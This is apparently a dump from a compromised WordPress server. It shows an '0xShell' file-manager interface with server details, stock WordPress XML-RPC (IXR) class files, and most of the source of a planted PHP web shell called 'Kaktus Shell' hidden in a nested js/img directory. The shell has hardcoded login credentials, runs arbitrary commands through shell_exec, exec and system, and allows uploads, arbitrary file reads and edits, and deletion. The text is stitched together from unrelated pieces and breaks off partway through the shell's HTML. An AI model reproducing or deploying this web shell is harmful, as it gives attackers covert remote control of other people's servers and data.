0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
class-IXR-server.php 0000644 00000015160 15220613621 0010327 0 ustar 00 <?php
/**
* IXR_Server
*
* @package IXR
* @since 1.5.0
*/
class IXR_Server
{
var $data;
var $callbacks = array();
var $message;
var $capabilities;
/**
* PHP5 constructor.
*/
function __construct( $callbacks = false, $data = false, $wait = false )
{
$this->setCapabilities();
if ($callbacks) {
$this->callbacks = $callbacks;
}
$this->setCallbacks();
if (!$wait) {
$this->serve($data);
}
}
/**
* PHP4 constructor.
*/
public function IXR_Server( $callbacks = false, $data = false, $wait = false ) {
self::__construct( $callbacks, $data, $wait );
}
function serve($data = false)
{
if (!$data) {
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') {
if ( function_exists( 'status_header' ) ) {
status_header( 405 ); // WP #20986
header( 'Allow: POST' );
}
header('Content-Type: text/plain'); // merged from WP #9093
die('XML-RPC server accepts POST requests only.');
}
$data = file_get_contents('php://input');
}
$this->message = new IXR_Message($data);
if (!$this->message->parse()) {
$this->error(-32700, 'parse error. not well formed');
}
if ($this->message->messageType != 'methodCall') {
$this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall');
}
$result = $this->call($this->message->methodName, $this->message->params);
// Is the result an error?
if (is_a($result, 'IXR_Error')) {
$this->error($result);
}
// Encode the result
$r = new IXR_Value($result);
$resultxml = $r->getXml();
// Create the XML
$xml = <<<EOD
<methodResponse>
<params>
<param>
<value>
$resultxml
</value>
</param>
</params>
</methodResponse>
EOD;
// Send it
$this->output($xml);
}
function call($methodname, $args)
{
if (!$this->hasMethod($methodname)) {
return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.');
}
$method = $this->callbacks[$methodname];
// Perform the callback and send the response
if (count($args) == 1) {
// If only one parameter just send that instead of the whole array
$args = $args[0];
}
// Are we dealing with a function or a method?
if (is_string($method) && substr($method, 0, 5) == 'this:') {
// It's a class method - check it exists
$method = substr($method, 5);
if (!method_exists($this, $method)) {
return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.');
}
//Call the method
$result = $this->$method($args);
} else {
// It's a function - does it exist?
if (is_array($method)) {
if (!is_callable(array($method[0], $method[1]))) {
return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.');
}
} else if (!function_exists($method)) {
return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.');
}
// Call the function
$result = call_user_func($method, $args);
}
return $result;
}
function error($error, $message = false)
{
// Accepts either an error object or an error code and message
if ($message && !is_object($error)) {
$error = new IXR_Error($error, $message);
}
$this->output($error->getXml());
}
function output($xml)
{
$charset = function_exists('get_option') ? get_option('blog_charset') : '';
if ($charset)
$xml = '<?xml version="1.0" encoding="'.$charset.'"?>'."\n".$xml;
else
$xml = '<?xml version="1.0"?>'."\n".$xml;
$length = strlen($xml);
header('Connection: close');
if ($charset)
header('Content-Type: text/xml; charset='.$charset);
else
header('Content-Type: text/xml');
header('Date: '.gmdate('r'));
echo $xml;
exit;
}
function hasMethod($method)
{
return in_array($method, array_keys($this->callbacks));
}
function setCapabilities()
{
// Initialises capabilities array
$this->capabilities = array(
'xmlrpc' => array(
'specUrl' => 'https://xmlrpc.com/spec.md',
'specVersion' => 1
),
'faults_interop' => array(
'specUrl' => 'https://web.archive.org/web/20240416231938/https://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php',
'specVersion' => 20010516
),
'system.multicall' => array(
'specUrl' => 'https://web.archive.org/web/20060624230303/http://www.xmlrpc.com/discuss/msgReader$1208?mode=topic',
'specVersion' => 1
),
);
}
function getCapabilities($args)
{
return $this->capabilities;
}
function setCallbacks()
{
$this->callbacks['system.getCapabilities'] = 'this:getCapabilities';
$this->callbacks['system.listMethods'] = 'this:listMethods';
$this->callbacks['system.multicall'] = 'this:multiCall';
}
function listMethods($args)
{
// Returns a list of methods - uses array_reverse to ensure user defined
// methods are listed before server defined methods
return array_reverse(array_keys($this->callbacks));
}
function multiCall($methodcalls)
{
// See http://www.xmlrpc.com/discuss/msgReader$1208
$return = array();
foreach ($methodcalls as $call) {
$method = $call['methodName'];
$params = $call['params'];
if ($method == 'system.multicall') {
$result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden');
} else {
$result = $this->call($method, $params);
}
if (is_a($result, 'IXR_Error')) {
$return[] = array(
'faultCode' => $result->code,
'faultString' => $result->message
);
} else {
$return[] = array($result);
}
}
return $return;
}
}
class-IXR-value.php 0000644 00000007316 15220613621 0010141 0 ustar 00 <?php
/**
* IXR_Value
*
* @package IXR
* @since 1.5.0
*/
class IXR_Value {
var $data;
var $type;
/**
* PHP5 constructor.
*/
function __construct( $data, $type = false )
{
$this->data = $data;
if (!$type) {
$type = $this->calculateType();
}
$this->type = $type;
if ($type == 'struct') {
// Turn all the values in the array in to new IXR_Value objects
foreach ($this->data as $key => $value) {
$this->data[$key] = new IXR_Value($value);
}
}
if ($type == 'array') {
for ($i = 0, $j = count($this->data); $i < $j; $i++) {
$this->data[$i] = new IXR_Value($this->data[$i]);
}
}
}
/**
* PHP4 constructor.
*/
public function IXR_Value( $data, $type = false ) {
self::__construct( $data, $type );
}
function calculateType()
{
if ($this->data === true || $this->data === false) {
return 'boolean';
}
if (is_integer($this->data)) {
return 'int';
}
if (is_double($this->data)) {
return 'double';
}
// Deal with IXR object types base64 and date
if (is_object($this->data) && is_a($this->data, 'IXR_Date')) {
return 'date';
}
if (is_object($this->data) && is_a($this->data, 'IXR_Base64')) {
return 'base64';
}
// If it is a normal PHP object convert it in to a struct
if (is_object($this->data)) {
$this->data = get_object_vars($this->data);
return 'struct';
}
if (!is_array($this->data)) {
return 'string';
}
// We have an array - is it an array or a struct?
if ($this->isStruct($this->data)) {
return 'struct';
} else {
return 'array';
}
}
function getXml()
{
// Return XML for this value
switch ($this->type) {
case 'boolean':
return '<boolean>'.(($this->data) ? '1' : '0').'</boolean>';
break;
case 'int':
return '<int>'.$this->data.'</int>';
break;
case 'double':
return '<double>'.$this->data.'</double>';
break;
case 'string':
return '<string>'.htmlspecialchars($this->data).'</string>';
break;
case 'array':
$return = '<array><data>'."\n";
foreach ($this->data as $item) {
$return .= ' <value>'.$item->getXml()."</value>\n";
}
$return .= '</data></array>';
return $return;
break;
case 'struct':
$return = '<struct>'."\n";
foreach ($this->data as $name => $value) {
$name = htmlspecialchars($name);
$return .= " <member><name>$name</name><value>";
$return .= $value->getXml()."</value></member>\n";
}
$return .= '</struct>';
return $return;
break;
case 'date':
case 'base64':
return $this->data->getXml();
break;
}
return false;
}
/**
* Checks whether or not the supplied array is a struct or not
*
* @param array $array
* @return bool
*/
function isStruct($array)
{
$expected = 0;
foreach ($array as $key => $value) {
if ((string)$key !== (string)$expected) {
return true;
}
$expected++;
}
return false;
}
}
class-IXR-request.php 0000644 00000001637 15220613621 0010515 0 ustar 00 <?php
/**
* IXR_Request
*
* @package IXR
* @since 1.5.0
*/
class IXR_Request
{
var $method;
var $args;
var $xml;
/**
* PHP5 constructor.
*/
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
$this->xml = <<<EOD
<?xml version="1.0"?>
<methodCall>
<methodName>{$this->method}</methodName>
<params>
EOD;
foreach ($this->args as $arg) {
$this->xml .= '<param><value>';
$v = new IXR_Value($arg);
$this->xml .= $v->getXml();
$this->xml .= "</value></param>\n";
}
$this->xml .= '</params></methodCall>';
}
/**
* PHP4 constructor.
*/
public function IXR_Request( $method, $args ) {
self::__construct( $method, $args );
}
function getLength()
{
return strlen($this->xml);
}
function getXml()
{
return $this->xml;
}
}
class-IXR-error.php 0000644 00000001526 15220613621 0010153 0 ustar 00 <?php
/**
* IXR_Error
*
* @package IXR
* @since 1.5.0
*/
class IXR_Error
{
var $code;
var $message;
/**
* PHP5 constructor.
*/
function __construct( $code, $message )
{
$this->code = $code;
$this->message = htmlspecialchars($message);
}
/**
* PHP4 constructor.
*/
public function IXR_Error( $code, $message ) {
self::__construct( $code, $message );
}
function getXml()
{
$xml = <<<EOD
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>{$this->code}</int></value>
</member>
<member>
<name>faultString</name>
<value><string>{$this->message}</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
EOD;
return $xml;
}
}
class-IXR-message.php 0000644 00000020331 15220613621 0010441 0 ustar 00 <?php
/**
* IXR_MESSAGE
*
* @package IXR
* @since 1.5.0
*
*/
class IXR_Message
{
var $message = false;
var $messageType = false; // methodCall / methodResponse / fault
var $faultCode = false;
var $faultString = false;
var $methodName = '';
var $params = array();
// Current variable stacks
var $_arraystructs = array(); // The stack used to keep track of the current array/struct
var $_arraystructstypes = array(); // Stack keeping track of if things are structs or array
var $_currentStructName = array(); // A stack as well
var $_param;
var $_value;
var $_currentTag;
var $_currentTagContents;
// The XML parser
var $_parser;
/**
* PHP5 constructor.
*/
function __construct( $message )
{
$this->message =& $message;
}
/**
* PHP4 constructor.
*/
public function IXR_Message( $message ) {
self::__construct( $message );
}
function parse()
{
if ( ! function_exists( 'xml_parser_create' ) ) {
trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
return false;
}
// first remove the XML declaration
// merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages
$header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 );
$this->message = trim( substr_replace( $this->message, $header, 0, 100 ) );
if ( '' == $this->message ) {
return false;
}
// Then remove the DOCTYPE
$header = preg_replace( '/^<!DOCTYPE[^>]*+>/i', '', substr( $this->message, 0, 200 ), 1 );
$this->message = trim( substr_replace( $this->message, $header, 0, 200 ) );
if ( '' == $this->message ) {
return false;
}
// Check that the root tag is valid
$root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) );
if ( '<!DOCTYPE' === strtoupper( $root_tag ) ) {
return false;
}
if ( ! in_array( $root_tag, array( '<methodCall', '<methodResponse', '<fault' ) ) ) {
return false;
}
// Bail if there are too many elements to parse
$element_limit = 30000;
if ( function_exists( 'apply_filters' ) ) {
/**
* Filters the number of elements to parse in an XML-RPC response.
*
* @since 4.0.0
*
* @param int $element_limit Default elements limit.
*/
$element_limit = apply_filters( 'xmlrpc_element_limit', $element_limit );
}
if ( $element_limit && 2 * $element_limit < substr_count( $this->message, '<' ) ) {
return false;
}
$this->_parser = xml_parser_create();
// Set XML parser to take the case of tags in to account
xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false);
// Set XML parser callback functions
xml_set_element_handler($this->_parser, array($this, 'tag_open'), array($this, 'tag_close'));
xml_set_character_data_handler($this->_parser, array($this, 'cdata'));
// 256Kb, parse in chunks to avoid the RAM usage on very large messages
$chunk_size = 262144;
/**
* Filters the chunk size that can be used to parse an XML-RPC response message.
*
* @since 4.4.0
*
* @param int $chunk_size Chunk size to parse in bytes.
*/
$chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size );
$final = false;
do {
if (strlen($this->message) <= $chunk_size) {
$final = true;
}
$part = substr($this->message, 0, $chunk_size);
$this->message = substr($this->message, $chunk_size);
if (!xml_parse($this->_parser, $part, $final)) {
if (PHP_VERSION_ID < 80000) { // xml_parser_free() has no effect as of PHP 8.0.
xml_parser_free($this->_parser);
}
unset($this->_parser);
return false;
}
if ($final) {
break;
}
} while (true);
if (PHP_VERSION_ID < 80000) { // xml_parser_free() has no effect as of PHP 8.0.
xml_parser_free($this->_parser);
}
unset($this->_parser);
// Grab the error messages, if any
if ($this->messageType == 'fault') {
$this->faultCode = $this->params[0]['faultCode'];
$this->faultString = $this->params[0]['faultString'];
}
return true;
}
function tag_open($parser, $tag, $attr)
{
$this->_currentTagContents = '';
$this->_currentTag = $tag;
switch($tag) {
case 'methodCall':
case 'methodResponse':
case 'fault':
$this->messageType = $tag;
break;
/* Deal with stacks of arrays and structs */
case 'data': // data is to all intents and puposes more interesting than array
$this->_arraystructstypes[] = 'array';
$this->_arraystructs[] = array();
break;
case 'struct':
$this->_arraystructstypes[] = 'struct';
$this->_arraystructs[] = array();
break;
}
}
function cdata($parser, $cdata)
{
$this->_currentTagContents .= $cdata;
}
function tag_close($parser, $tag)
{
$valueFlag = false;
switch($tag) {
case 'int':
case 'i4':
$value = (int)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'double':
$value = (float)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'string':
$value = (string)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'dateTime.iso8601':
$value = new IXR_Date(trim($this->_currentTagContents));
$valueFlag = true;
break;
case 'value':
// "If no type is indicated, the type is string."
if (trim($this->_currentTagContents) != '') {
$value = (string)$this->_currentTagContents;
$valueFlag = true;
}
break;
case 'boolean':
$value = (bool)trim($this->_currentTagContents);
$valueFlag = true;
break;
case 'base64':
$value = base64_decode($this->_currentTagContents);
$valueFlag = true;
break;
/* Deal with stacks of arrays and structs */
case 'data':
case 'struct':
$value = array_pop($this->_arraystructs);
array_pop($this->_arraystructstypes);
$valueFlag = true;
break;
case 'member':
array_pop($this->_currentStructName);
break;
case 'name':
$this->_currentStructName[] = trim($this->_currentTagContents);
break;
case 'methodName':
$this->methodName = trim($this->_currentTagContents);
break;
}
if ($valueFlag) {
if (count($this->_arraystructs) > 0) {
// Add value to struct or array
if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') {
// Add to struct
$this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value;
} else {
// Add to array
$this->_arraystructs[count($this->_arraystructs)-1][] = $value;
}
} else {
// Just add as a parameter
$this->params[] = $value;
}
}
$this->_currentTagContents = '';
}
}
class-IXR-base64.php 0000644 00000000636 15220613621 0010107 0 ustar 00 <?php
/**
* IXR_Base64
*
* @package IXR
* @since 1.5.0
*/
class IXR_Base64
{
var $data;
/**
* PHP5 constructor.
*/
function __construct( $data )
{
$this->data = $data;
}
/**
* PHP4 constructor.
*/
public function IXR_Base64( $data ) {
self::__construct( $data );
}
function getXml()
{
return '<base64>'.base64_encode($this->data).'</base64>';
}
}
js/2024/img/iltvp/ylkn/index.php 0000444 00000051720 15220613621 0012257 0 ustar 00 <?php
/**
* Kaktus Shell - Blue Advanced Shell & File Manager (single file)
* FIXED: Terminal AJAX now works reliably.
*/
// Suppress all warnings/errors in AJAX mode to keep JSON clean
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
error_reporting(0);
ini_set('display_errors', 0);
}
if (!function_exists('is_fn_usable')) {
function is_fn_usable($fn) {
if (!function_exists($fn)) return false;
$disabled = (string) @ini_get('disable_functions');
$suhosin = (string) @ini_get('suhosin.executor.func.blacklist');
$blocked = array();
if ($disabled !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $disabled)));
if ($suhosin !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $suhosin)));
if (!empty($blocked)) {
$blocked = array_filter(array_map('strtolower', $blocked));
if (in_array(strtolower($fn), $blocked, true)) return false;
}
return true;
}
}
date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : 'UTC');
session_start();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(biru_random_bytes(16));
}
/* ---------- Security Headers ---------- */
header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true);
header('Referrer-Policy: no-referrer');
header('X-Frame-Options: SAMEORIGIN');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('X-Content-Type-Options: nosniff');
/* ---------- Auth ---------- */
define('AUTH_USER', 'admin');
define('AUTH_PASS_HASH', '$2a$12$BBaLHa.cGOJZR9697oj3auaNFtGk04W6vbsr8mqV9cwprwoPZM4SW'); // pass : n0t
/* ---------- Utility & Polyfills ---------- */
function h($s){ return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
if (!function_exists('je')) {
function je($v) {
if (function_exists('json_encode')) return json_encode($v);
if (is_bool($v)) return $v ? 'true' : 'false';
if (is_numeric($v)) return (string)$v;
if ($v === null) return 'null';
if (is_array($v) || is_object($v)) {
$parts = array();
$is_list = (is_array($v) && array_keys($v) === range(0, count($v) - 1));
foreach ($v as $key => $val) {
$parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val);
}
return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}';
}
return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"';
}
}
function biru_random_bytes($len){
if (is_fn_usable('random_bytes')) return random_bytes($len);
$out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255));
return $out;
}
function humanSize($b){
$u = array('B','KB','MB','GB','TB'); $i = 0;
while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; }
return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i];
}
function permsToString($f){
$p = @fileperms($f); if ($p === false) return '??????????';
$t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-');
$s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-');
$s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-');
$s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-');
return $t.$s;
}
function isTextFile($p){
if (is_dir($p)) return false;
$ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION));
$allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh');
return in_array($ext, $allowed, true);
}
function safeJoin($base,$child){
$child = str_replace(array("\0", ".."), '', $child);
return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child;
}
function listDirEntries($dir){
$h = @opendir($dir); if ($h===false) return array();
$items=array(); while(false!==($e=readdir($h))){ $items[]=$e; }
closedir($h); return $items;
}
function rrmdir($p){
if (is_file($p) || is_link($p)) return @unlink($p);
$h = @opendir($p); if(!$h) return false;
while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); }
closedir($h); return @rmdir($p);
}
function tryWriteFromTmp($tmp,$dest){
if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null);
return array(false, "Write failed");
}
function extractArchive($archivePath, $destPath) {
if (class_exists('ZipArchive')) {
$zip = new ZipArchive;
if ($zip->open($archivePath) === TRUE) {
$zip->extractTo($destPath);
$zip->close();
@unlink($archivePath);
return array(true, "Zip extracted");
}
}
return array(false, "Extractor not available");
}
function breadcrumbs($path){
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'));
$out = array();
$acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR;
if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) {
$drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc);
} else { $out[] = array('root', DIRECTORY_SEPARATOR); }
foreach($parts as $p){
if (preg_match('~^[A-Z]:$~i', $p)) continue;
$acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p;
$out[] = array($p, $acc);
}
return $out;
}
function ensureCsrf(){
if($_SERVER['REQUEST_METHOD']==='POST'){
if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) {
http_response_code(403); exit("CSRF Invalid");
}
}
}
/* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */
if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
header('Content-Type: application/json');
// Clear any previous output buffers
while (ob_get_level()) ob_end_clean();
$response = array('error' => 'Unknown error');
if (!isset($_SESSION['auth'])) {
$response = array('error' => 'Unauthorized');
} elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') {
$response = array('error' => 'Invalid request method');
} elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) {
$response = array('error' => 'CSRF token mismatch');
} elseif (!isset($_POST['cmd'])) {
$response = array('error' => 'No command provided');
} else {
$cmd = $_POST['cmd'];
$output = '';
// Try shell_exec first
if (function_exists('shell_exec')) {
$output = @shell_exec($cmd . ' 2>&1');
if ($output === null) $output = '';
}
// Fallback to exec
elseif (function_exists('exec')) {
exec($cmd . ' 2>&1', $output_lines, $ret);
$output = implode("\n", $output_lines);
}
// Fallback to system
elseif (function_exists('system')) {
ob_start();
@system($cmd . ' 2>&1');
$output = ob_get_clean();
}
else {
$output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)';
}
$response = array('output' => (string)$output);
}
echo json_encode($response);
exit;
}
/* ---------- Normal (non-AJAX) request handling ---------- */
if (!isset($_SESSION['auth'])) {
if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) {
if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) {
$_SESSION['auth'] = true; header("Location: ?"); exit;
}
}
// Render Login Page
echo '<body style="background:#0b1220;color:#fff;display:flex;height:100vh;align-items:center;justify-content:center;font-family:sans-serif;"><form method="POST" action="?a=login" style="background:#111827;padding:2rem;border-radius:12px;border:1px solid #374151;"><h3>kaktus LOGIN</h3><input name="user" placeholder="User" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><input name="pass" type="password" placeholder="Pass" style="display:block;margin-bottom:10px;padding:8px;width:200px;"><button type="submit" style="width:100%;padding:8px;background:#3b82f6;color:#fff;border:none;border-radius:4px;cursor:pointer;">Login</button></form></body>';
exit;
}
$initial_script_dir = realpath(getcwd());
$requested_path = isset($_GET['d']) ? (string)$_GET['d'] : '';
$current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir;
$msg = ''; $cmd_out = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
ensureCsrf();
$a = isset($_GET['a']) ? $_GET['a'] : '';
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'] . ' 2>&1';
$cmd_out = h(shell_exec($cmd));
}
if ($a === 'upload' && isset($_FILES['file'])) {
$dest = safeJoin($current_path, $_FILES['file']['name']);
list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest);
$msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err";
}
if ($a === 'save_file' && isset($_POST['target_file'])) {
if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) {
$msg = "File saved!";
}
}
}
if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) {
if (rrmdir($_GET['path'])) $msg = "Deleted!";
}
if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) {
header('Content-Type: text/plain');
echo @file_get_contents($_GET['path']);
exit;
}
if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; }
/* ---------- UI Icons (same as before) ---------- */
function svgIcon($name, $class='w-5 h-5 text-slate-400'){
$icons = array(
'folder'=>'<svg class="'.$class.'" fill="currentColor" viewBox="0 0 24 24"><path d="M10 4l2 2h6a2 2 0 012 2v1H4V6a2 2 0 012-2h4z" opacity=".3"/><path d="M3 9h18v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z"/></svg>',
'file'=>'<svg class="'.$class.'" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 9"/></svg>',
'trash'=>'<svg class="'.$class.' text-red-500" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><polyline points="3 6 5 6 21 6"/><path d="M19 6v14a2 2 0 01-2 2H7a2 2 0 01-2-2V6m3 0V4a2 2 0 012-2h4a2 2 0 012 2v2"/></svg>',
'edit'=>'<svg class="'.$class.' text-green-500" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24"><path d="M11 4H4a2 2 0 00-2 2v14a2 2 0 002 2h14a2 2 0 002-2v-7M18.5 2.5a2.121 2.121 0 013 3L12 15l-4 1 1-4 9.5-9.5z"/></svg>'
);
return isset($icons[$name]) ? $icons[$name] : '';
}
?>
<!doctype html>
<html lang="en" class="dark">
<head>
<meta charset="utf-8">
<title>Kaktus BLUE SHELL</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body { background: #0b1220; color: #e5e7eb; font-family: 'Ubuntu', sans-serif; }
.card { background: rgba(15,23,42,0.8); border: 1px solid rgba(148,163,184,0.1); backdrop-filter: blur(10px); }
.terminal-input:focus { outline: none; }
.terminal-output { max-height: 400px; overflow-y: auto; }
</style>
</head>
<body class="flex min-h-screen">
<div class="w-64 bg-gray-900/80 border-r border-gray-800 p-6 flex flex-col justify-between">
<div>
<h1 class="text-2xl font-bold text-blue-400 mb-8">Kaktus Web Shell</h1>
<nav class="space-y-4">
<a href="?d=<?= urlencode($initial_script_dir) ?>" class="block hover:text-blue-300">Home</a>
<a href="#shell" class="block hover:text-blue-300">Terminal</a>
</nav>
</div>
<a href="?a=logout" class="text-red-500 font-bold">LOGOUT</a>
</div>
<div class="flex-grow p-8 overflow-auto">
<?php if($msg): ?><div class="bg-blue-600/20 border border-blue-500 p-3 mb-4 rounded"><?= h($msg) ?></div><?php endif; ?>
<div class="flex gap-2 text-sm mb-6 bg-gray-800/40 p-3 rounded-lg">
<?php foreach(breadcrumbs($current_path) as $bc): ?>
<a href="?d=<?= urlencode($bc[1]) ?>" class="text-blue-400 hover:underline"><?= h($bc[0]) ?></a> <span class="text-gray-600">/</span>
<?php endforeach; ?>
</div>
<div class="card p-6 rounded-xl mb-8">
<div class="flex justify-between items-center mb-4">
<h3 class="text-lg font-bold">File Manager</h3>
<form action="?d=<?= urlencode($current_path) ?>&a=upload" method="POST" enctype="multipart/form-data" class="flex gap-2">
<input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>">
<input type="file" name="file" class="text-xs">
<button class="bg-blue-600 px-3 py-1 rounded text-xs font-bold">UPLOAD</button>
</form>
</div>
<table class="w-full text-left text-sm">
<thead><tr class="border-b border-gray-800 text-gray-400"><th>Name</th><th>Size</th><th class="text-right">Action</th></tr></thead>
<tbody>
<?php
$files = listDirEntries($current_path);
natcasesort($files);
foreach($files as $f): if($f=='.'||$f=='..') continue;
$path = safeJoin($current_path, $f);
$is_dir = is_dir($path);
?>
<tr class="border-b border-gray-800/50 hover:bg-gray-800/30">
<td class="py-3">
<a href="<?= $is_dir ? '?d='.urlencode($path) : '#' ?>" class="flex items-center gap-2 <?= $is_dir ? 'text-amber-400' : 'text-gray-300' ?>">
<?= svgIcon($is_dir ? 'folder' : 'file') ?> <?= h($f) ?>
</a>
</td>
<td class="text-gray-500"><?= $is_dir ? 'DIR' : humanSize(@filesize($path)) ?></td>
<td class="text-right flex justify-end gap-3 py-3">
<?php if(!$is_dir && isTextFile($path)): ?>
<button onclick="openEditor('<?= h($path) ?>')" title="Edit"><?= svgIcon('edit') ?></button>
<?php endif; ?>
<a href="?d=<?= urlencode($current_path) ?>&a=del&path=<?= urlencode($path) ?>" onclick="return confirm('Delete?')"><?= svgIcon('trash') ?></a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<!-- TERMINAL SECTION - FIXED -->
<div id="shell" class="card p-6 rounded-xl">
<h3 class="text-lg font-bold mb-4">Interactive Terminal</h3>
<div id="terminal-output" class="terminal-output bg-black/70 rounded p-3 font-mono text-sm text-green-400 mb-3" style="height: 300px; overflow-y: auto;">
<div>>_ Terminal ready. Type command below.</div>
</div>
<form id="terminal-form" class="flex gap-2">
<input type="hidden" name="csrf" id="csrf-token" value="<?= $_SESSION['csrf'] ?>">
<span class="text-green-400 font-mono">$</span>
<input type="text" name="cmd" id="terminal-cmd" class="terminal-input flex-grow bg-transparent border-none text-green-400 font-mono focus:outline-none" autocomplete="off" autofocus>
<button type="submit" class="bg-blue-600 px-3 py-1 rounded text-xs">Run</button>
<button type="button" id="clear-terminal" class="bg-gray-700 px-3 py-1 rounded text-xs">Clear</button>
</form>
